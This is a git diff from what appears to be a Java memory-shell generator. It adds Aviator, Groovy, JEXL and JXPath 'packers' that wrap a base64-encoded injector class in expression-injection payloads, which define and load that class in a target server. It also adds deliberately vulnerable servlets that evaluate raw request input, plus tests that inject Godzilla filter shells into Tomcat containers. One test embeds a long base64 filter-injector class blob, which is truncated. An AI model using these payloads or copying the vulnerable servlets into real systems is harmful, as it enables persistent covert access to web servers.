diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java index 666ab64..48e8154 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java @@ -1,16 +1,20 @@ package com.reajason.javaweb.memshell.packer; +import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker; import com.reajason.javaweb.memshell.packer.base64.Base64Packer; import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker; import com.reajason.javaweb.memshell.packer.el.ELPacker; import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker; import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker; import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; +import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker; import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker; import com.reajason.javaweb.memshell.packer.jsp.JspPacker; import com.reajason.javaweb.memshell.packer.jsp.JspxPacker; +import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker; import com.reajason.javaweb.memshell.packer.mvel.MVELPacker; import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; @@ -69,6 +73,10 @@ public enum Packers { OGNL(new OGNLPacker()), MVEL(new MVELPacker()), + JXPath(new JXPathPacker()), + JEXL(new JEXLPacker()), + Groovy(new GroovyPacker()), + Aviator(new AviatorPacker()), SpEL(new SpELPacker()), SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java new file mode 100644 index 0000000..24d7aaa --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.memshell.packer.aviator; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class AviatorPacker implements Packer { + String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));"; + + @Override + public String pack(GenerateResult generateResult) { + return template.replace("{{className}}", generateResult.getInjectorClassName()) + .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java new file mode 100644 index 0000000..20532f7 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.memshell.packer.groovy; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class GroovyPacker implements Packer { + String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')"; + + @Override + public String pack(GenerateResult generateResult) { + String script = Packers.ScriptEngine.getInstance().pack(generateResult); + return template.replace("{{script}}", script); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java new file mode 100644 index 0000000..c8479bd --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.memshell.packer.jexl; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class JEXLPacker implements Packer { + String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')"; + + @Override + public String pack(GenerateResult generateResult) { + String script = Packers.ScriptEngine.getInstance().pack(generateResult); + return template.replace("{{script}}", script); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java new file mode 100644 index 0000000..13f14d8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.memshell.packer.jxpath; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class JXPathPacker implements Packer { + String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')"; + + @Override + public String pack(GenerateResult generateResult) { + String script = Packers.ScriptEngine.getInstance().pack(generateResult); + return template.replace("{{script}}", script); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index ac32fa6..426ddbb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -147,6 +147,10 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel case SpEL -> VulTool.postData(url + "/spel", content); case OGNL -> VulTool.postData(url + "/ognl", content); case MVEL -> VulTool.postData(url + "/mvel", content); + case JXPath -> VulTool.postData(url + "/jxpath", content); + case JEXL -> VulTool.postData(url + "/jexl2", content); + case Aviator -> VulTool.postData(url + "/aviator", content); + case Groovy -> VulTool.postData(url + "/groovy", content); case Freemarker -> VulTool.postData(url + "/freemarker", content); case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index d8a2d0f..4950194 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -34,7 +34,7 @@ public class Tomcat8ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) @@ -78,12 +78,6 @@ static Stream casesProvider() { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java new file mode 100644 index 0000000..8ed0b31 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java @@ -0,0 +1,69 @@ +package com.reajason.javaweb.integration.tomcat; + +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat8ExpressionContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-expression/build.gradle b/vul/vul-webapp-expression/build.gradle index 483a901..bf3ca11 100644 --- a/vul/vul-webapp-expression/build.gradle +++ b/vul/vul-webapp-expression/build.gradle @@ -9,8 +9,8 @@ java { toolchain { languageVersion = JavaLanguageVersion.of(8) } - sourceCompatibility = JavaVersion.VERSION_1_6 - targetCompatibility = JavaVersion.VERSION_1_6 + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 } dependencies { @@ -22,7 +22,19 @@ dependencies { implementation 'org.apache.velocity:velocity:1.7' implementation 'ognl:ognl:2.7.3' implementation 'org.mvel:mvel2:2.4.7.Final' + implementation 'org.apache.commons:commons-jexl:2.1.1' + implementation 'org.apache.commons:commons-jexl3:3.2.1' + implementation 'commons-jxpath:commons-jxpath:1.3' + implementation 'com.googlecode.aviator:aviator:5.2.7' + implementation 'org.codehaus.groovy:groovy:3.0.6' implementation 'org.springframework:spring-expression:4.3.0.RELEASE' providedCompile 'de.odysseus.juel:juel-api:2.2.7' providedCompile "javax.servlet:servlet-api:2.5" + + testImplementation platform('org.junit:junit-bom:5.11.4') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() } diff --git a/vul/vul-webapp-expression/src/main/java/AviatorServlet.java b/vul/vul-webapp-expression/src/main/java/AviatorServlet.java new file mode 100644 index 0000000..79da302 --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/AviatorServlet.java @@ -0,0 +1,22 @@ +import com.googlecode.aviator.AviatorEvaluator; +import com.googlecode.aviator.AviatorEvaluatorInstance; +import groovy.lang.GroovyShell; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class AviatorServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); + resp.getWriter().println(evaluator.execute(data)); + } +} diff --git a/vul/vul-webapp-expression/src/main/java/GroovyServlet.java b/vul/vul-webapp-expression/src/main/java/GroovyServlet.java new file mode 100644 index 0000000..b5dd54c --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/GroovyServlet.java @@ -0,0 +1,20 @@ +import groovy.lang.GroovyShell; +import ognl.OgnlContext; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class GroovyServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + resp.getWriter().println(new GroovyShell().evaluate(data)); + } +} diff --git a/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java b/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java new file mode 100644 index 0000000..b72e3c0 --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java @@ -0,0 +1,24 @@ +import org.apache.commons.jexl2.Expression; +import org.apache.commons.jexl2.JexlEngine; +import org.apache.commons.jexl2.MapContext; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class JEXL2Servlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + JexlEngine jexl = new JexlEngine(); + Expression e = jexl.createExpression(data); + MapContext jc = new MapContext(); + resp.getWriter().println(e.evaluate(jc)); + } +} diff --git a/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java b/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java new file mode 100644 index 0000000..be201ce --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java @@ -0,0 +1,26 @@ + +import org.apache.commons.jexl3.JexlBuilder; +import org.apache.commons.jexl3.JexlEngine; +import org.apache.commons.jexl3.JexlExpression; +import org.apache.commons.jexl3.MapContext; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class JEXL3Servlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + JexlEngine jexl = new JexlBuilder().create(); + JexlExpression e = jexl.createExpression(data); + MapContext jc = new MapContext(); + resp.getWriter().println(e.evaluate(jc)); + } +} diff --git a/vul/vul-webapp-expression/src/main/java/JXPathServlet.java b/vul/vul-webapp-expression/src/main/java/JXPathServlet.java new file mode 100644 index 0000000..87f257d --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/JXPathServlet.java @@ -0,0 +1,21 @@ +import groovy.lang.GroovyShell; +import org.apache.commons.jxpath.JXPathContext; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class JXPathServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + JXPathContext context = JXPathContext.newContext(null); + resp.getWriter().println(context.getValue(data )); + } +} diff --git a/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml index cf2215d..6010c0b 100644 --- a/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml @@ -81,6 +81,51 @@ /mvel + + groovy + GroovyServlet + + + groovy + /groovy + + + + jexl2 + JEXL2Servlet + + + jexl2 + /jexl2 + + + + jexl3 + JEXL3Servlet + + + jexl3 + /jexl3 + + + + jxpath + JXPathServlet + + + jxpath + /jxpath + + + + aviator + AviatorServlet + + + aviator + /aviator + + velocity VelocityServlet diff --git a/vul/vul-webapp-expression/src/test/java/AviatorServletTest.java b/vul/vul-webapp-expression/src/test/java/AviatorServletTest.java new file mode 100644 index 0000000..7a2899e --- /dev/null +++ b/vul/vul-webapp-expression/src/test/java/AviatorServletTest.java @@ -0,0 +1,18 @@ +import com.googlecode.aviator.AviatorEvaluator; +import com.googlecode.aviator.AviatorEvaluatorInstance; +import org.junit.jupiter.api.Test; +import org.springframework.util.ClassUtils; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class AviatorServletTest { + + @Test + void test() { + String exp = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread())"; + AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); + System.out.println(evaluator.execute(exp)); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-expression/src/test/java/GroovyServletTest.java b/vul/vul-webapp-expression/src/test/java/GroovyServletTest.java new file mode 100644 index 0000000..287b893 --- /dev/null +++ b/vul/vul-webapp-expression/src/test/java/GroovyServletTest.java @@ -0,0 +1,16 @@ +import groovy.lang.GroovyShell; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class GroovyServletTest { + + @Test + void test(){ + System.out.println(new GroovyShell().evaluate("new javax.script.ScriptEngineManager().getEngineByName('js').eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = \"org.apache.commons.lang.zKHoq.ImageUtil\";var base64Str = \"yv66vgAAADQBvAgA7AgA7QgA7goAEgDvCgB3APALAPEA8gsA8wD0CwDzAPUKAHcA9goAdwD3BwD4CgALAPkHAPoKAA0A7wcA+wgA/AcA/QcA/goAdwD/BwCbCgAPAQAIAQEKADgBAggBAwoAdwEECAEFCACUBwEGCgAcAQcLAQgA8gsA8QEJCgAPAQoKABIBCwoAEQEMCAENCAEOCAEPCACGCgAPARAKABEBEQoAdwESCgAvARMKABEBFAoAdwEVCgB3ARYKAHcBFwcBGAgApwcApgkBGQEaCgARARsKARwBHQoBGQEeCgEcAR8IASAHASEJASIBIwgBJAoBJQEmCAEnCgARASgIASkIASoIASsKABEBLAgBLQgBLggBLwgBMAgBMQgBMgoAdwEzCAE0CgARATUIATYIATcIATgKATkBHQoBOQE6CAC3BwE7CwBRATwIAT0KAAsBPgcBPwgBQAgBQQoAEQFCCAFDCAFECAFFBwFGCgBcAO8HAUcHAUgKAF8BSQoAXgFKCgBeAUsKAFwBTAoAXAFNCgBeAU4KAFwBTgcBTwoAEQFQBwFRCgBpAO8IAVIKAGkBUwoAaQEMCgBnAVQHAVUIAVYKAG8BVwoAEQFYCgFZAR0KAVkBWgcBWwoAdQFUBwFcCgB3AO8BAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARExjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQAGPGluaXQ+AQADKClWAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcBXAcBXQcBXgcA+AEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAV2YWx1ZQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcA+wcBBgcA/gEACkV4Y2VwdGlvbnMBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACGdldFNoZWxsAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEYAQAGaW5qZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBACNbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo+OwcAtQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAMZGVjb2RlckNsYXNzAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAGYnVmZmVyAQABbgEAAUkBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07BwFGBwFHBwFfBwFgAQAMaW52b2tlTWV0aG9kAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAGbWV0aG9kAQADb2JqAQAKbWV0aG9kTmFtZQEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBABVbTGphdmEvbGFuZy9DbGFzczwqPjsHAP0HAWEHAU8HASEHANcHANkBAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARuYW1lBwFbBwFiAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEADnt7dXJsUGF0dGVybn19AQANe3tjbGFzc05hbWV9fQEADXt7YmFzZTY0U3RyfX0MAIIAgwwAkgCTBwFdDAFjAWQHAV4MAWUBZgwBZwFoDACjAKQMAK8AsAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAWkAgwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QMANAA0QwBagB6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBawFsAQAGdGFyZ2V0DADiAOMBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBbQFuBwFvDAFwAXEMAXIBcwwBdAF1DAF2AHoBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcgEACXJlc291cmNlcwwBdwF4DAF5AXMMAIAAegwBegF7DAF8AWgMAIEAegwAuwC8DADCAMMBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAX0MAX4AqgwBfwGABwFhDAGBAYIMAYMBhAwBhQGGAQANZmluZEZpbHRlckRlZgEAEGphdmEvbGFuZy9TdHJpbmcHAYcMAMgBiAEAF2ZpbHRlciBhbHJlYWR5IGluamVjdGVkBwGJDAGKAYsBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZgwBjAF7AQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXABACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAMAYwBjQEADXNldEZpbHRlck5hbWUBAA5zZXRGaWx0ZXJDbGFzcwEADGFkZEZpbHRlckRlZgEADXNldERpc3BhdGNoZXIBAAdSRVFVRVNUAQANYWRkVVJMUGF0dGVybgwAeQB6AQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnDAGOAY8BAA1zZXRVUkxQYXR0ZXJuAQASYWRkRmlsdGVyTWFwQmVmb3JlAQAMYWRkRmlsdGVyTWFwBwGQDAF8AZEBAA1qYXZhL3V0aWwvTWFwDAGSAZMBABVmaWx0ZXIgaW5qZWN0IHN1Y2Nlc3MMAZQBlQEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAZYBgAEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQwAggGXDACCAZgMAZkBmgwBmwGcDAGdAZ4MAZ8AgwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAaABdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQASTWV0aG9kIG5vdCBmb3VuZDogDAGhAaIMAIIBiwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uAQAXRXJyb3IgaW52b2tpbmcgbWV0aG9kOiAMAIIBowwBpAGlBwGmDAGnAKQBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BAEJjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvbGFuZy9UaHJvd2FibGUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0A